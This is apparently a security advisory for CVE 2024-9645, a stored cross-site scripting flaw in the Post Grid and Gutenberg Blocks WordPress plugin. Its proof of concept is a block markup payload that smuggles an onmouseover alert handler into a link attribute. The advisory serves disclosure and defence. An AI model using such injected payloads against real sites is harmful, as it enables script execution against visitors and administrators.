Post Grid and Gutenberg Blocks < 2.2.93 – Contributor+ Stored XSS | CVE 2024-9645

Description

The plugin does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

Add the following to a block:

```
<!-- wp:post-grid/post-title {\"wrapper\":{\"styles\":{\"display\":{\"Desktop\":\"block\"}},\"options\":{\"tag\":\"div\",\"class\":\"\"}},\"postTitle\":{\"options\":{\"tag\":\"span\",\"limitBy\":\"\",\"limitCount\":99,\"isLink\":true,\"linkTo\":\"postUrl\",\"linkToAuthorMeta\":\"\",\"linkToCustomMeta\":\"\",\"linkTarget\":\"_blank\",\"linkAttr\":[{\"id\":\"123\\u0022 onmouseover=alert(1)//\",\"val\":\"12\"}],\"customUrl\":\"\",\"class\":\"post-title\"},\"styles\":{\"color\":{\"Desktop\":\"#000000\"},\"fontSize\":{\"Desktop\":\"30px\"},\"fontFamily\":{\"Desktop\":\"Poppins\"},\"fontStyle\":{\"Desktop\":\"normal\"},\"fontWeight\":{\"Desktop\":\"700\"},\"lineHeight\":{\"Desktop\":\"155%\"}}},\"blockId\":\"pgb69ecf4b064f\",\"blockCssY\":{\"items\":{\".pgb69ecf4b064f\":{\"display\":{\"Desktop\":\"block\"}},\".pgb69ecf4b064f a\":{\"color\":{\"Desktop\":\"#000000\"},\"font-size\":{\"Desktop\":\"30px\"},\"font-family\":{\"Desktop\":\"Poppins\"},\"font-style\":{\"Desktop\":\"normal\"},\"font-weight\":{\"Desktop\":\"700\"},\"line-height\":{\"Desktop\":\"155%\"}},\".pgb69ecf4b064f .prefix\":{\"color\":{\"Desktop\":\"#000000 !important\"},\"font-size\":{\"Desktop\":\"18px\"},\"font-family\":{\"Desktop\":\"Poppins\"},\"font-style\":{\"Desktop\":\"normal\"},\"font-weight\":{\"Desktop\":\"400\"},\"margin\":{\"Desktop\":\"0px 10px 0px 0px\"}},\".pgb69ecf4b064f .postfix\":{\"color\":{\"Desktop\":\"#000000 !important\"},\"font-size\":{\"Desktop\":\"18px\"},\"font-family\":{\"Desktop\":\"Poppins\"},\"font-style\":{\"Desktop\":\"normal\"},\"font-weight\":{\"Desktop\":\"400\"},\"margin\":{\"Desktop\":\"0px 0px 0px 10px\"}}}}} /-->
```

Preview the block and move your mouse over the post title to see the XSS